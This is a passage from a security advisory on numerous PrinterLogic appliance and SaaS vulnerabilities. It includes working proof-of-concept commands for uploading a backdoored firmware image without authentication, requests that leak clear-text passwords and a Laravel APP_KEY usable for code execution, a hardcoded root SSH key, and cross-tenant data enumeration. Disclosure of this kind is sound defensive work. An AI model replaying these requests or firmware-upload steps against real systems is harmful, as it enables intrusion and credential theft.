https://appliance-cdn.printercloud.com/virtual-appliance-services/releases/20.0.2140/20.0.2140.gpg
    Resolving appliance-cdn.printercloud.com 
(appliance-cdn.printercloud.com)... 18.172.21.87, 18.172.21.120, 18.172.21.22, 
...
    Connecting to appliance-cdn.printercloud.com 
(appliance-cdn.printercloud.com)|18.172.21.87|:443... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 4953834807 (4.6G) [binary/octet-stream]
    Saving to: '20.0.2140.gpg'
    20.0.2140.gpg                                        
100%[======================================================================================================================>]
   4.61G  14.6MB/s    in 6m 0s   
    
    2023-12-26 08:22:06 (13.1 MB/s) - '20.0.2140.gpg' saved 
[4953834807/4953834807]
    kali% gpg 20.0.2140.gpg
    
+-------------------------------------------------------------------------------------+
    | Please enter the passphrase to unlock the OpenPGP secret key:             
          |
    | "PrinterLogic Virtual Appliance Team 
<no-reply+virtual-appliance@xxxxxxxxxxxxxxxx>" |
    | 4096-bit RSA key, ID FCF4134A2496B21A,                                    
          |
    | created 2020-01-23 (main key ID 09BD9E367DA10998).                        
          |
    |                                                                           
          |
    |                                                                           
          |
    | Passphrase: 
50370a0d-65b4-4b2a-a2a2-ea0d6ff35ef4___________________________________ |
    |                                                                           
          |
    |            <OK>                                                   
<Cancel>          |
    
+-------------------------------------------------------------------------------------+
    gpg: WARNING: no command supplied.  Trying to guess what you mean ...
    gpg: encrypted with 4096-bit RSA key, ID FCF4134A2496B21A, created 
2020-01-23
          "PrinterLogic Virtual Appliance Team 
<no-reply+virtual-appliance@xxxxxxxxxxxxxxxx>"
    gpg: Signature made Mon Nov 27 18:35:49 2023 EST
    gpg:                using RSA key 12FAF9092BFFB99A9751B92C890869BDA791E0EA
    gpg:                issuer "no-reply+virtual-appliance@xxxxxxxxxxxxxxxx"
    gpg: Good signature from "PrinterLogic Virtual Appliance Team 
<no-reply+virtual-appliance@xxxxxxxxxxxxxxxx>" [ultimate]
    kali% ls -la
    total 9672300
    drwxr-xr-x 2 user user       4096 Dec 26 08:26 .
    drwxr-xr-x 4 user user       4096 Dec 26 08:26 ..
    -rw-r--r-- 1 user user 4950580344 Dec 26 08:25 20.0.2140
    -rw-r--r-- 1 user user 4953834807 Dec  1 12:33 20.0.2140.gpg
    kali% mkdir malicious-image && cd malicious-image && xzcat ../20.0.2140 | 
tar xvf -
    versions.env
    images.tar
    pi-binaries.tar
    kali% cat versions.env 
    DOCKER_TAG_ADT="v1.0.161"
    DOCKER_TAG_DOC="v1.0.176"
    DOCKER_TAG_SES="v1.0.176"
    DOCKER_TAG_STORAGE="v1.0.382"
    DOCKER_TAG_TMS="v1.0.57"
    DOCKER_TAG_POSTGRESTDE="15.4.7"
    DOCKER_TAG_UNLEASH_VA_GW="1.0.34"
    [...]

The files can be edited and the new malicious archive can be generated using 
this command:

    kali% tar cvf - versions.env images.tar pi-binaries.tar | xz - | gpg 
--encrypt -r no-reply+virtual-appliance@xxxxxxxxxxxxxxxx -> malicious.gpg
    versions.env
    images.tar
    pi-binaries.tar
    kali% ls -la malicious.gpg 
    -rw-r--r-- 1 user user 4521768092 Dec 26 09:46 malicious.gpg

Then, the file can be uploaded using this custom webpage (the address must be 
adapted to contain the confidential tokens obtained from the 
`/admin/design/management_accountts_pcabout.php` webpage):

Custom HTML webpage to upload a malicious firmware image:

    <html>
    <head>
    </head>
    <body>
    <form 
action="http://gw.10.105.0.60/va-api/v1/update/1?sign=$2y$10$5kBEYJOxGtR1ydzZRIFYPO9WpXrCs10qUsDv4F7wAEw18kLhqWAau&timeStamp=2024-01-04%2019:39:13";
 method="POST" enctype="multipart/form-data">
    <input type="file" name="package">
    <input type="submit">
    </form>
    </body>

 
Custom HTML webpage to upload a malicious firmware image

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

Upload done through the custom HTML webpage

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

We can then start the update process using this curl command (using the same 
signature and same timestamp obtained previously).

Start of the installation process:

    kali% curl -X POST -kv 
'http://gw.10.105.0.60/va-api/v1/update?version=1&sign=$2y$10$5kBEYJOxGtR1ydzZRIFYPO9WpXrCs10qUsDv4F7wAEw18kLhqWAau&timeStamp=2024-01-04%2019:39:13'
 
    * Host gw.10.105.0.60:80 was resolved.
    * IPv6: (none)
    * IPv4: 10.105.0.60
    *   Trying 10.105.0.60:80...
    * Connected to gw.10.105.0.60 (10.105.0.60) port 80
    > POST 
/va-api/v1/update?version=1&sign=$2y$10$5kBEYJOxGtR1ydzZRIFYPO9WpXrCs10qUsDv4F7wAEw18kLhqWAau&timeStamp=2024-01-04%2019:39:13
 HTTP/1.1
    > Host: gw.10.105.0.60
    > User-Agent: curl/8.5.0
    > Accept: */* 
    > 
    < HTTP/1.1 200 OK
    < Access-Control-Allow-Headers: *
    < Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
    < Access-Control-Allow-Origin: *
    < Cache-Control: no-cache, private
    < Content-Length: 9
    < Content-Type: application/json
    < Date: Thu, 04 Jan 2024 19:49:36 GMT 
    < Server: nginx
    < 
    * Connection #0 to host gw.10.105.0.60 left intact
    "Success"

When watching the appliance, we can see that the update process is running and 
the malicious firmware image is installed:

    root@printerlogic:/var/www/efs_storage/.updates# ps -auxww|grep gpg 
    ubuntu    158698 57.6  0.0   5000  3060 ?        DL   19:50   0:15 gpg 
--pinentry-mode loopback --passphrase-fd 0 --output 1/1.tar.xz --decrypt 
/var/www/efs_storage/.updates/1.gpg
    ubuntu    158725  0.5  0.0   2708   844 ?        Ssl  19:50   0:00 
gpg-agent --homedir /home/ubuntu/.gnupg --use-standard-socket --daemon
    root      163318  0.0  0.0   6608  2264 pts/2    S+   19:50   0:00 grep 
--color=auto gpg

An attacker can install backdoor without authentication in a PrinterLogic 
instance.

An attacker can get Remote Code Execution in a PrinterLogic instance.

The update process is reachable without admin privileges. 



## Details - Remote Code Execution and Leak of passwords using APIs 

It was observed that an attacker can exfiltrate passwords from the appliance by 
sending specific HTTP requests to the `/va-api` API endpoints.

Such APIs are incorrectly protected over the network:

- - These API endpoints are exposed to the network without authentication;
- - Clear-text and valid credentials are freely displayed by the APIs.

The `APP_KEY` variable used for Laravel is leaked and can be used to get Remote 
Code Execution against the instance of PrinterLogic. Remote Code executions 
using `APP_KEY` is possible (e.g. 
https://mogwailabs.de/en/blog/2022/08/exploiting-laravel-based-applications-with-leaked-app_keys-and-queues/).

PoC - Extraction of a valid signature without authentication by visiting 
/admin/design/management_accountts_pcabout.php, without authentication:

    kali% curl -kv 
http://10.105.0.60/admin/design/management_accountts_pcabout.php
    *   Trying 10.105.0.60:80...
    * Connected to 10.105.0.60 (10.105.0.60) port 80
    > GET /admin/design/management_accountts_pcabout.php HTTP/1.1
    [...]

        date='12/13/2023'
        updateAvailable=''
        apiSign='$2y$10$G6ykZQ5JwnrxCIiGLqEoA.MCQ6AmQAxSfSLk3dlnc5rwYH/o.0/OG'
        apiTimeStamp='2023-12-26 13:03:46'
        gwUrl='http://gw.10.105.0.60'
    [...]

The `/va-api/v1/storage/secrets.env` API provides clear-text passwords when 
using the previously public `apiSign` and `apiTimeStamp` variables:

Leak of passwords

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

The `/va-api/v1/services` API also provides clear-text passwords.

The `APP_KEY` variable is used by Laravel. An attacker knowing this variable 
can get Remote Code Execution against PrinterLogic:

Leak of passwords

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

HTTP request disclosing passwords:

    GET 
/va-api/v1/storage/secrets.env?sign=$2y$10$HfXU5jgVFNx2hr6sxK730uvZBi/qEtAmeuHd7IUxFcYmooZryG81O&timeStamp=2023-12-28%2011:32:43
 HTTP/1.1
    Host: gw.10.105.0.60
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 
Firefox/115.0
    Accept: application/json, text/plain, */* 
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: multipart/form-data; 
boundary=---------------------------190670500540510886892839752320
    Content-Length: 0
    Origin: http://10.105.0.60
    Connection: close
    Referer: http://10.105.0.60/
    
    
    HTTP/1.1 200 OK
    Access-Control-Allow-Headers: *
    Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
    Access-Control-Allow-Origin: *
    Cache-Control: no-cache, private
    Content-Type: text/plain; charset=utf-8
    Date: Thu, 28 Dec 2023 11:36:22 GMT 
    Server: nginx
    Connection: close
    Content-Length: 3517
    
    #########
    #   This file contains configuration variables that may be customized to 
suit your environment.
    #   Changes to values in this file are monitored for periodic updates and 
may not be reflected immediately in the product.
    #   Most updates should propagate within several minutes, although it may 
take up to 30 minutes for changes to be applied.
    #   Rebooting the appliance may also trigger an update.
    ##########
    #
    #   * PRINTERCLOUD_DOMAIN (required)
    #   This should be the base domain used to reach your product.  For 
example, if your instance is reached via 
    #   "printers.mycompany.com" this value would be "printers.mycompany.com"
    [...]
    ########### VALUES
    DB_DATABASE="app_pi"
    DB_PASSWORD="xg1o6iReDLcyGIBvZMbr"
    DB_PORT=3306
    DB_USERNAME="admin"
    PRINTERCLOUD_DOMAIN="10.105.0.60"
    SAMBA_PASSWORD="6QOjoEKpcWrEJqILbwox"

HTTP request disclosing passwords:
    
    GET 
/va-api/v1/services?sign=$2y$10$w..pLsnjlsP6bY43oMm/.epXaRjdSA2no7AhfpKkfTcrT4UJDM9bG&timeStamp=2023-12-29%2013:19:41
 HTTP/1.1
    Host: gw.10.105.0.60
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 
Firefox/115.0
    Accept: application/json, text/plain, */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: multipart/form-data; 
boundary=---------------------------17749310539621720221197883675
    Content-Length: 0
    Origin: http://10.105.0.60
    Connection: close
    Referer: http://10.105.0.60/
    
    
    HTTP/1.1 200 OK
    Access-Control-Allow-Headers: *
    Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
    Access-Control-Allow-Origin: *
    Cache-Control: no-cache, private
    Content-Length: 684
    Content-Type: application/json
    Date: Fri, 29 Dec 2023 13:20:34 GMT
    Server: nginx
    Connection: close
    
    [
      {
        "name": "database",
        "status": "not ready",
        "properties": {
          "database": "",
          "host": "",
          "password": "",
          "port": "",
          "ssl_ca": "false",
          "ssl_strict": "true",
          "username": ""
        }
      },
      {
        "name": "settings",
        "status": "not ready",
        "properties": {
          "auto_update": "0",
          "auto_update_schedule": "",
          "deployment_environment": "prod",
          "domain": "",
          "license": "false",
          "piv_cac": "false",
          "samba_pass": "",
          "ssl_cert": "false",
          "ssl_key": "false",
          "ssl_terminated": "0"
        }
      },
      {
        "name": "migration",
        "status": "not ready",
        "properties": {
          "app_key": "YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf", <------- APP_KEY
          "database": "",
          "host": "",
          "password": "",
          "port": "",
          "progress": "pending",
          "username": ""
        }
      },
      {
        "name": "storage",
        "status": "ready",
        "properties": {
          "type": "vdisk",
          "vdisk_status": "ready"
        }
      }
    ]

Using a shell inside the targeted PrinterLogic instance, we can confirm that 
the `APP_KEY` is valid and is currently being used.

Analysis of the PrinterLogic VA version:

    root@printerlogic:/home/debug# for i in $(docker ps | awk '{ print $1 }'); 
do echo $(docker ps | grep $i | awk '{ print $2 }'); docker exec -it $i env | 
grep APP_KEY;done
    ID
    printerlogic/ofn:1.134.7
    APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
    printerlogic/oncp-hold:v1.0.171
    APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
    printerlogic/client:25.1.0.652
    printerlogic/va-cdn:0.0.1090
    APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
    printerlogic/sched:1.0.20
    APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
    printerlogic/oncp-ofn:v1.0.16
    APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
    printerlogic/prs:1.0.7
    APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
    printerlogic/cat:1.0.72
    APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
    printerlogic/authn:1.16.0
    APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
    printerlogic/tree:1.0.10
    APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
    printerlogic/printer:v1.1.86
    APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
    printerlogic/pi:5.0.8085-p2
    APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
    printerlogic/client-socket-server:1.0.7
    APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
    printerlogic/identity:v1.0.425
    APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
    APP_KEY_USERS=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
    printerlogic/pi:5.0.8085-p2
    APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
    printerlogic/scim:1.0.66
    APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
    printerlogic/gw-api:1.0.61
    APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
    printerlogic/eb:0.0.8
    APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
    printerlogic/tms:v1.0.57
    APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
    printerlogic/va-api:1.1.211
    APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
    printerlogic/adt:v1.0.161
    APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
    printerlogic/users:5.207.3
    APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
    printerlogic/users:5.207.3
    APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
    printerlogic/pi:5.0.8085-p2
    APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
    printerlogic/client-api:1.0.28
    [...]

An attacker can get Remote Code Execution in a PrinterLogic instance.



## Vulnerabilities affecting PrinterLogic SaaS / PrinterLogic VA



## Identification of the solution

The audited PrinterLogic version is 22.0.893 from December 2023.

The audited host version is 1.0.730.

This PrinterLogic version has been retrieved from 
https://help.printerlogic.com/va/1-Printerlogic/Release_Notes/VA_Latest_Host_Builds.htm
 (OpenBuild 22.0.893: December 1st, 2023).

Checksum of the audited version:

    b06c9938b8ec5fd47a41fb7188d8e50fd9bac727a2ac0e84e4719524a124f744  
printerinstaller-22.0.893.ova


The solutions use several Docker instances - all the instances have been made 
up to date, as shown below:

Printerlogic VA version 

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

Printerlogic SaaS version on [redacted].printerlogic10.com 

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]



## Details - Undocumented hardcoded SSH key

The appliance contains an undocumented user (`printerlogic`) with a hardcoded 
SSH key.

Public SSH key for the printerlogic user:

    root@printerlogic:/home/printerlogic# pwd 
    /home/printerlogic
    root@printerlogic:/home/printerlogic# find .
    .
    ./.profile
    ./.ssh
    ./.ssh/authorized_keys
    ./.bashrc
    ./.bash_logout
    root@printerlogic:/home/printerlogic# cat ./.ssh/authorized_keys
    ssh-rsa 
AAAAB3NzaC1yc2EAAAADAQABAAACAQCw+sKOEvtwR/sOlzWKmZkiRfoZs9Atdm5EVIdSADiOGstscYFmXB12a6BlHptBziq2Z9NUHoRfAS923Mgk9KdGhK/0qIheyLuFks1uLve2MiIkwO4hb72AtwN8ceecJSBu6FvOq0LMEMl1PX3sNt1Yu+CFIAUfr47P6ja2y1qmW9Mj9pGGLafXFuP49D1bZ5wnZ/XVusHHyHqOOA4D1IMAxP7YqhbM6FekE9oiQqX3r//ci5YtG+yzbCcLSBjIOxVpRDFX9/0AKYzeC5DiKkQ8if+xyND0cS1kI/D5NQ5Q/NIttoQRMETv8jXDhycUrZPEOEaP4ODWj0wRD/rtTwkV12Kf9i0hxmKxh2TH7LXBEjlq6xo7w9GLSapyV2AREP94NoZjL7GAPIdz3JneiyOvb/pcCR8xjHijlr8WXk9M0ZK2Ma29KCAl4ZLPC3z43psJyYLDXmJOrIsJNE4bnBaBuWADZPKYPC54WzqpTjmp1wObQT+Jbecf/GYj0rqj2GSqu2Ij8fBKS4rJ/2aee3afLwbsYVqz/g0x4qaOZo+X6DcrvLErbgERs471k80QMWOhLbOCYtIAEcZI2gnhD3ZMZXc790sp1PC2WXD2dZFEXBqLTMIKdaIL2Nc/XCt6TYZpcfvt49S6p3KiTtN9BrfPhyINof8DbzHL2d4dL0q6/Q==
 Virtual Appliance Development Key 
    root@printerlogic:/home/printerlogic#

This account is undocumented. Futhermore, it has root privileges with sudo, 
without the password being requested:

    root@printerlogic:~# grep printerlogic /etc/group
    printerlogic_ssh:x:1001:printerlogic
    printerlogic:x:1002:
    root@printerlogic:~# grep printerlogic /etc/sudoers
    %printerlogic_ssh ALL=(ALL) NOPASSWD: ALL
    root@printerlogic:~#

An attacker who has the corresponding SSH key will get root access to the 
appliance.



## Details - Internal Docker instances exposed on the LAN and the Internet

It was observed that some Docker instances are exposed on the network and the 
Internet through the gw Docker instance.

Since these instances are directly reachable from the Internet without ACL and 
without authentication, the resulting attack surface is enormous.

For example, the `http://gw.10.105.0.60/meta` URL in the VA version will list 
the reachable Docker instances.

In the SaaS version, we can list reachable Docker instance by visiting 
`https://gw.app.printercloud10.com/meta`. These Docker instances are reachable 
through `https://gw.app.printercloud10.com/[docker-name]/[apis]`.

https://gw.app.printercloud10.com/meta:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

PoC:

    GET /meta HTTP/2
    Host: gw.app.printercloud10.com
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 
Firefox/115.0
    Accept: 
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: none
    Sec-Fetch-User: ?1
    
    {
      "authn": {
        "meta": {
          "name": "Authentication Microservice",
          "version": "1.21.6",
          "releaseDate": "2024-01-03T02:30:59Z"
        }
      },
      "br": {
        "meta": {
          "name": "Badge Reader Microservice",
          "version": "1.0.78",
          "releaseDate": "2023-03-13T18:57:29Z"
        }
      },
      "cat": null,
      "cl": null,
      "cpp-ui": {
        "meta": {
          "name": "Control Panel Platform UI",
          "version": "1.153.102",
          "releaseDate": "2023-12-12T19:20:04Z"
        }
      },
      "ebc": {
        "meta": {
          "name": "External Badge Connector Microservice",
          "version": "1.0.34",
          "releaseDate": "2021-03-31T21:10:36Z"
        }
      },
      "gw": {
        "meta": {
          "name": "API Gateway Microservice",
          "version": "1.308.3",
          "releaseDate": "2023-09-08T21:37:44Z"
        }
      },
      "identity": {
        "meta": {
          "name": "Identity Microservice",
          "version": "v1.0.530",
          "releaseDate": ""
        }
      },
      "idpi": {
        "meta": {
          "name": "IDP Integrations Microservice",
          "version": "1.0.8",
          "releaseDate": "2023-03-21T22:07:50Z"
        }
      },
      "oidc": null,
      "pq": {
        "meta": {
          "name": "Print Queue Microservice",
          "version": "5.0.195",
          "releaseDate": "2023-12-22T00:10:15Z"
        }
      },
      "printerinstaller": {
        "meta": {
          "name": "PrinterInstaller",
          "instanceUrl": "http://pi.printercloud:8042";,
          "siteId": "printerlogic",
          "tenantId": "107",
          "apiUrl": "https://printerlogic.printercloud10.com";,
          "agentUrl": "https://agent-api.app.printercloud10.com";,
          "version": "5.0.8220",
          "releaseDate": "2023-12-26T22:52:53Z"
    [...]

An attacker can interact with internal Docker instances.



## Details - Docker instance used to upload clients reachable from the Internet 
and the LAN

It was observed that the Docker instance used to upload the Windows/MacOS/Linux 
clients is reachable from the LAN (for PrinterLogic VA) and from the Internet 
(for the SaaS version).

When analyzing the API of `gw.app.printercloud10.com`, it appears that the 
Windows/Mac clients are managed by the Docker instance `printerlogic/agent-api`:

`https://gw.app.printercloud10.com/meta`:

    GET /meta HTTP/2
    Host: gw.app.printercloud10.com
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 
Firefox/115.0
    Accept: 
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: none
    Sec-Fetch-User: ?1
    
    {
    [...]
      "printerinstaller": {
        "meta": {
          "name": "PrinterInstaller",
          "instanceUrl": "http://pi.printercloud:8042";,
          "siteId": "printerlogic",
          "tenantId": "107",
          "apiUrl": "https://printerlogic.printercloud10.com";,
          "agentUrl": "https://agent-api.app.printercloud10.com";,
          "version": "5.0.8220",
          "releaseDate": "2023-12-26T22:52:53Z"
        }
      },
    [...]
    }

This docker instance also runs inside the VA version:

    root@printerlogic:/home/debug# docker ps|grep agent
    e540505060c2   printerlogic/agent-api:v1.0.169           
"/opt/entrypoint.sh "   2 hours ago      Up 2 hours (healthy)

It appears that this Docker instance is used to upload new versions of clients.

Access to https://agent-api.app.printercloud10.com:

    kali% curl -kv https://agent-api.app.printercloud10.com/
    *   Trying 13.55.51.178:443...
    * Connected to agent-api.app.printercloud10.com (13.55.51.178) port 443
    * ALPN: curl offers h2,http/1.1
    * TLSv1.3 (OUT), TLS handshake, Client hello (1):
    * TLSv1.3 (IN), TLS handshake, Server hello (2):
    * TLSv1.2 (IN), TLS handshake, Certificate (11):
    * TLSv1.2 (IN), TLS handshake, Server key exchange (12):
    * TLSv1.2 (IN), TLS handshake, Server finished (14):
    * TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
    * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
    * TLSv1.2 (OUT), TLS handshake, Finished (20):
    * TLSv1.2 (IN), TLS handshake, Finished (20):
    * SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256
    * ALPN: server accepted h2
    * Server certificate:
    *  subject: CN=printercloud10.com
    *  start date: Dec 21 00:00:00 2023 GMT
    *  expire date: Jan 18 23:59:59 2025 GMT
    *  issuer: C=US; O=Amazon; CN=Amazon RSA 2048 M02
    *  SSL certificate verify result: unable to get local issuer certificate 
(20), continuing anyway.
    * using HTTP/2
    * [HTTP/2] [1] OPENED stream for https://agent-api.app.printercloud10.com/
    * [HTTP/2] [1] [:method: GET]
    * [HTTP/2] [1] [:scheme: https]
    * [HTTP/2] [1] [:authority: agent-api.app.printercloud10.com]
    * [HTTP/2] [1] [:path: /]
    * [HTTP/2] [1] [user-agent: curl/8.4.0]
    * [HTTP/2] [1] [accept: */*]
    > GET / HTTP/2
    > Host: agent-api.app.printercloud10.com
    > User-Agent: curl/8.4.0
    > Accept: */*
    > 
    < HTTP/2 404 
    < date: Wed, 03 Jan 2024 11:40:53 GMT
    < content-type: text/plain
    < content-length: 18
    < 
    * Connection #0 to host agent-api.app.printercloud10.com left intact
    404 page not found
    kali%                                                                       
       

The `/opt/api` server running inside the `printerlogic/agent-api` Docker 
instance has the same behavior.

`/opt/api` program running inside the `printerlogic/agent-api` Docker instance:

    root@printerlogic:/home/debug# docker ps | grep agent-api
    e540505060c2   printerlogic/agent-api:v1.0.169           
"/opt/entrypoint.sh "   3 hours ago          Up 3 hours (healthy)               
                                                                      
printercloud_agent-api.lk6nfgkbi705w15yp8iqshxpz.h05rvwhql4l45y0dykva06t9e
    root@printerlogic:/home/debug# docker exec -it e540505060c2 ps -a
    PID   USER     TIME  COMMAND
        1 root      1:33 /opt/api
     6762 root      0:00 ps -a
    root@printerlogic:/home/debug# docker inspect --format "{{ .State.Pid }}" 
e540505060c2
    9359
    root@printerlogic:/home/debug# nsenter -n -t 9359
    root@printerlogic:/home/debug# curl -kv http://127.0.0.1/
    *   Trying 127.0.0.1:80...
    * Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)
    > GET / HTTP/1.1
    > Host: 127.0.0.1
    > User-Agent: curl/7.81.0
    > Accept: */*
    > 
    * Mark bundle as not supporting multiuse
    < HTTP/1.1 404 Not Found
    < Content-Type: text/plain
    < Date: Wed, 03 Jan 2024 11:42:59 GMT
    < Content-Length: 18
    < 
    * Connection #0 to host 127.0.0.1 left intact
    404 page not found
    root@printerlogic:/home/debug#

Due to the lack of time spent for analysis, considering the size of the binary 
and the complexity of the generated pseudo-code, the API endpoints were not 
identified but it is very likely that this program supports uploading new 
clients.
The program contains ~ 26,000 functions and since the program uses the Go Gin 
web framework, it is very hard to track cross-references to interesting 
functions. This analysis was too time-consuming and was not done in-depth.

Decompilation of /opt/api

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

An attacker may be able to upload Windows and MacOS clients.

An attacker who can spend enough time will do reverse engineering against this 
program to find vulnerabilities.



## Details - Unauthenticated API leaking group information

It was observed that the `/api-gateway/identity/search-groups` API is insecure 
- this API will display information about group without authentication.

An attacker can retrieve information for any SaaS customer by specifying a 
`siteID` (extracted from the `Host` HTTP header in the HTTP request). For 
example, for [redacted]:

HTTP request

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

PoC - the SiteID can be adapted to any target by modifying the Host header:

    POST /api-gateway/identity/search-groups HTTP/2
    Host: [redacted-target-tenant].printercloud10.com
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 
Firefox/115.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/json
    X-Requested-With: XMLHttpRequest
    Content-Length: 44
    
    
    {"sourceServiceType":"identity","name":""}

And the reply will provide information about the configured groups:

    HTTP/2 200 OK
    Date: Fri, 22 Dec 2023 07:44:07 GMT 
    Content-Type: application/json
    Cache-Control: no-cache, private
    Content-Security-Policy: frame-ancestors 'self'
    Server: nginx
    Strict-Transport-Security: max-age=31536000; includeSubDomains
    X-Content-Type-Options: nosniff
    X-Frame-Options: SAMEORIGIN
    X-Xss-Protection: 1; mode=block
    
    
    [
      {
        "id": "[redacted]",
        "sourceServiceType": "azuread",
        "sourceService": "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa",
        "name": "[redacted]",
        "description": "",
        "email": "",
        "domain": "",
        "siteId": "[redacted]",
        "sourceId": "[redacted]",
        "distinguishedName": "",
        "createdAt": "2023-03-20 01:18:16",
        "updatedAt": "2023-03-20 01:18:16",
        "users": [],
        "tenantId": 9999,
        "detach_users": []
      },
      {
        "id": "[redacted]",
        "sourceServiceType": "azuread",
        "sourceService": "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa",
        "name": "[redacted]",
        "description": "",
        "email": "",
        "domain": "",
        "siteId": "[redacted]",
        "sourceId": "[redacted]",
        "distinguishedName": "",
        "createdAt": "2023-06-06 01:04:44",
        "updatedAt": "2023-06-06 01:04:44",
        "users": [],
        "tenantId": 9999,
        "detach_users": []
      },
      [...]
      {
        "id": "[redacted]",
        "sourceServiceType": "azuread",
        "sourceService": "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa",
        "name": "[redacted]",
        "description": "",
        "email": "",
        "domain": "",
        "siteId": "[redacted]",
        "sourceId": "[redacted]",
        "distinguishedName": "",
        "createdAt": "2023-03-20 01:18:17",
        "updatedAt": "2023-03-20 01:18:17",
        "users": [],
        "tenantId": 9999,
        "detach_users": []
      },
      [...]

The GET request also works:

    kali% curl 
https://[redacted].printercloud10.com/api-gateway/identity/search-groups
    [{"id": "[redacted]","sourceServiceType": "azuread","sourceService": 
"aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa","name": "[redacted]","description": 
"","email": "","domain": "","siteId": "[redacted]","sourceId": 
"[redacted]","distinguishedName": "","createdAt": "2023-03-20 
01:18:16","updatedAt": "2023-03-20 01:18:16","users": [],"tenantId": 
9999,"detach_users": []},id": "[redacted]","sourceServiceType": 
"azuread","sourceService": "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa","name": 
"[redacted]",

A threat actor can retrieve information for any siteID.



## Details - Installation of the Firefox plugin over HTTP

It was observed that the installation of the Firefox plugin is done insecurely 
over HTTP:

https://printerlogic.com/browser-extension/

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

When analyzing the request, we can confirm that the XPI file is stored 
insecurely, over HTTP at 
